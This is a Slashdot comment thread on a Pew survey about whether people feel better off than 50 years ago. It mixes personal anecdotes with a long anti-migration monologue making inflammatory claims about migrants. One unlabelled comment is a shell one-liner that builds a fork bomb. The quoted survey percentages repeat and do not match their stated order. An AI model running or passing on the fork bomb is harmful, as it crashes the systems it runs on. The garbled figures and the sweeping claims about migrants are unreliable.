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Researchers Ask: Are People Better Off Than 50 Years Ago? (marketwatch.com)
Long-time Slashdot reader gollum123 quotes MarketWatch:
Are you doing better than the previous generation? The Pew Research Center, a nonprofit think tank in Washington, D.C., asked nearly 43,000 people in 38 countries around the globe that question this past spring. Residents in 20 countries said people like them were better off than they were 50 years ago. In Vietnam, 88% felt better off, followed by India (69%), South Korea (68%), Japan (65%), Germany (65%), Turkey (65%), the Netherlands (64%), Sweden (64%), Poland (62%) and Spain (60%)...
The U.S. was among the other 18 countries in which people said they were actually worse off than half a century ago. In Senegal, 45% felt this way, followed by Nigeria (54%), Kenya (53%), the U.S. (41%), Ghana (47%), Brazil (49%), France (46%), Hungary (39%), Lebanon (54%) and Peru (46%).
55% of Canadians feel they're better off, while just 45% of people in the U.K. feel the same way, according to the article.
"Venezuela, which has suffered from political unrest and economic turbulence in recent years, was last on the list. Some 72% people there said they felt worse off than 50 years ago."
The U.S. was among the other 18 countries in which people said they were actually worse off than half a century ago. In Senegal, 45% felt this way, followed by Nigeria (54%), Kenya (53%), the U.S. (41%), Ghana (47%), Brazil (49%), France (46%), Hungary (39%), Lebanon (54%) and Peru (46%).
55% of Canadians feel they're better off, while just 45% of people in the U.K. feel the same way, according to the article.
"Venezuela, which has suffered from political unrest and economic turbulence in recent years, was last on the list. Some 72% people there said they felt worse off than 50 years ago."
The countries that have become more liberal are better off. Those that have trended more conservative are worse off.
Are people happier? Unlikely. But they may have greater opportunity and their impacts can be broader. But in the stories my grandfather told me I sense a great deal of exciting things. To go to town they had to marshal their team of horses and brush them out afterwards, in the cold (you could see the horse's breath). But that sort of chore and ritual can be deeply grounding, satisfying, and slower paced. Not worse. Maybe you don't accomplish as much on average? is that important?
Some drink at the fountain of knowledge. Others just gargle.
50 years ago J. Edgar Hoover was the head of the FBI. I complain about the current NSA/CIA/FBI (with valid reason) but things were worse under J. Edgar Hoover.
"First they came for the slanderers and i said nothing."
Majority of world population (and pretty much everyone of the adult working age) either wasn't around 50 years ago or, if they were, were too young to really understand. Combine that with various confirmation biases, tendency to forget the negative and overstate how good things were back in the old days - and this question is, essentially, meaningless as a true gauge of change in life quality.
At most all it does is measure how whiny a given group of people is. And US residents are some of the whiniest in the world (but, unsurprisingly, France beats us on this one, if only just a bit)
Fifty years ago was 1967. This was before the oil crunch. I would say, if you were getting out of college with -any- degree, you pretty much were set for life, since jobs were plentiful, especially because government gave a shit about doing the job right, since the attitude of "lets make things as shitty as possible until we get sued" was not around.
If I graduated with an engineering degree back then, my life was pretty much set. Same with a natural sciences degree.
Now, degrees are worthless in the workplace and the time spent at a uni is time wasted where one could be gaining experience, and even with a degree, one barely would earn enough to survive.
Of course, with the Cold War in full swing, someone playing games with Russia, China, and countries hostile to the US wouldn't be taken as a "hero", as they seem to do now. Sell secrets back then, and it meant the firing squad.
Note that TFA simply asked if people thought they were better off than two generations ago, rather than doing some type of measurement. It's like asking random people if the US deficit is larger now compared to 5 years ago; it's a good way to see what people believe but it doesn't measure or determine the truth.
Fifty years ago, Americans were being drafted to fight in the Vietnam war — a war so bloody and so largely useless that people were marching in the streets against it and fleeing the country to avoid it. In that same year, nationwide race riots led to over 100 deaths, and just three years later, the Kent State massacre happened, completely devastating Americans' trust in its government, followed shortly thereafter by Nixon's criminal conspiracy and resignation. And you can't even pretend that things were better a few years before that. After all, only fifty-five years ago, our country nearly ended the world during the Cuban missile crisis.
I hope and pray that most of the respondents didn't think very hard about that question before answering. Because if they did, then either our high school history books have become so whitewashed that nobody gets the full picture of just how bad things really were in America fifty years ago, the respondents slept through their American history classes, or the respondents did a little too much PCP in the 70s and don't remember the 60s anymore. Just saying.
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This! My boomer grandpa while working as a welder making 30 grand a year with three kids was somehow able to afford a house with not one but two garages, multiple motorcycles, always performing home additions and remodeling, as well as owning a camper with a permanent spot at the campground right on the water, as well as other trailers and jet skis. At one point he bought another house across the street to repair for fun then he sold it.
I made 178000, I have one kid and I've been dreaming about doing even a fraction of the things my grandfather did. The taxes I pay on the money are ridiculous and by the time my 1200 square foot house is paid and my car payments are paid I have about diddly-squat. I drive a 50 mpg diesel stick shift from 2003 with nearly 300k miles. What did my generation do differently? I'm supposed to be far more successful than him, he was a freaking factory worker.
Leaving the house? Are you joking? You don't find work by pounding the pavement anymore. You can try it but everyone will tell you to apply online. My full time unpaid job is to find a job and I'm on the internet all day every day searching for work and applying for jobs. There's nothing out there except fake job postings. Companies simply use the internet to abuse the job market and run outsourcing scams.
I think they were kidnapped by their own countrymen...or more accurately, by warring tribes. At least this is what I got out of when I was there. I had a friend teacher who assigned a paper to his class to describe something that helped his country out and one of the students turned in a paper on the slave trade.
What did my generation do differently?
Get really shit at managing money?
I don't make even half of what you do, but I have a larger house which is almost paid off, and a 2 year old car which I bought last year just because I was getting tired of the old one. Whatever your problem is, it does not appear to be related to your paycheque, except tangentially. If you were making $400,000 a year I suspect you would somehow still manage to be broke.
Douglas Murray once said of Merkel that if she were honest she'd have said of the migrants "We have a bit more gang rape and beheading than we used to have, but then there's a wider range of cuisines."
http://www.kereport.com/2017/1...
The "Strange Death of Europe" centers on the 2015 migration crisis, which you all remember was the moment when Angela Merkel massively exacerbated an already existing problem by announcing, unilaterally, that the external and internal borders of Europe were basically dissolved. In a single act, the mass movement of people that had been going on for decades sped up exponentially, so that Germany in a single year took in an additional 2 percent of its population. Sweden took in an additional almost 3 percent of its population. This is all part of a pattern. I say that has been going on for many decades. And, just like those previous decades, what happened after the 2015 crisis was that politicians and the media found excuses to justify something that would have happened anyway. So, for instance, German citizens and others were told that this mass migration, millions of people into Europe, was there would be a net economic gain for their society, that it would enrich their society. Now, actually, all of the studies that I have gone over on this show that, at best, most such migration cannot be called to be any kind of economic gain. A study in Britain showed that over a 15 year period, migrants took out 95 billion more in services than they put in taxation. And, of course they would. If you go to another country, you don't speak the language. You don't have the skills. It's going to be a very long time, before you've put in anything into the welfare system, remotely like the amount that you and your family will have taken out. But, this is one of the arguments that is made.
And, by the way, just as in all of the decades after the war, so in the post-2015 moment, the governments that came up with these explanations had to hedge around the facts, so that just like the labor government, after 1997, they had to pretend that the average migrant was a Luxemburgian hedge funder. And this is just one of the lies that gets told to the people, because once that one is shut down, once, for instance, you notice that the number of people who have been added to Germany's welfare bill in the last year, is almost exactly the number of the people who came in in 2015, once you go over that lie, you get to another one, which the German people and others were told; which is that we are an aging population. We are a graying population, and then, therefore, we need, obviously, to bring people in, to keep us and our society into the standards to which we've become accustomed. Of course, this argument always ignores one extraordinary thing, which none of the politicians ever seem to recognize, which is the startling fact that migrants get old as well. Amazingly enough, it's not just us Europeans who suffer the aging process. Who knew? But, of course, if you do believe in that idea, that you need to keep on bringing people to keep yourself in the custom that you're now used to, you get, what I describe as, the pyramid problem in migration. You keep having to bring in more and more people all the time, to keep yourselves in that sustainable societal moment.
So once you get the one of, well, okay maybe they don't make us richer. Maybe the aging population thing doesn't work. You get to another one, which is diversity. It doesn't matter if we're financially poorer. It doesn't matter, because we're so much more culturally rich. Now, I should say that there is something in this. What society - Europeans certainly wouldn't do this. What society doesn't want to know as much of interest and culture as the world has to offer? Who doesn't want to know as much about the world, and about the ideas of the world as possible? But, of course, the
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Because western europeans also live in socialist country and they have much better lives than most money worshipping yankees.
Avantgarde Hebrew science fiction
If Merkel were being honest, she'd say "crime may be up a bit, but now we have some young people to do the work so we'll all be able to keep our health care and retire comfortably instead of facing a demographic crisis that'll make our generation work into their 90s." Europe's birthrates are below replacement level, so the options are either find some migrants or take away all the benefits the baby boomer generation is counting on.
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30 grand fifty years ago would be over $200k today. Inflation is an amazing thing.
I'm definitely richer at 59 than 9. Solved.
The real comparison is to my Dad, of course, 38 years older than I. I'm somewhat better off than he, but not much. Not really enough, considering I got two college degrees and he worked his way up to "engineer" from "surveyman" (when "engineer" was a job description, not always licensed) from only high school. He could afford to retire at the same age, actually had a bigger house. But my place is better located, and I'll be able to manage a little more travel. Much of that, however, comes from our inheritances from parents - he got almost nothing from his, same for my wife's parents.
A younger friend of mine who is about 60 years younger than my Dad, recently mentioned that when she wished aloud to just quit, her son joked she couldn't afford not to work unless she has a magic wand that makes money. Her nine-year-old was dead right. My parents never *needed* two incomes the way my friend does. Dad supported three kids, bought a 1600 sf. split level for us, took us on vacations to Disneyland and Mexico, had us all in an athletic club for the pool and skating rinks - on the salary of a highway construction engineer, never got past mid-level.
Oh, and all three of kid kids went to college, needing only summer jobs to pay the tuition; the only family expense was free rent and food.
As a report from Piketty's institute just confirmed ( https://boingboing.net/2017/12... ) "inequality in the Americas has been soaring since 1980", shortly after Dad retired. The Reagan/Thatcher Revolution ("Mulroney" here in Canada) won, and my young friend who can't quit her job, lost.
Then I guess the solution would be to actually give people a reason to have kids. So far all Merkel has accomplished is to make sure that nobody in their right mind could WANT to have kids because having some is a near surefire way to social descent in Germany.
What Merkel wanted was more pressure on people in low qualification wages, to make Germany attractive for companies that would otherwise move towards places where you can work your employees like dogs and throw them away when they are bled dry. Now Germany can become such a place. And the incompatibility with the imported culture also means that she has every justification to up surveillance to keep the masses down.
This woman grew up in the GDR. She knows what she's doing.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.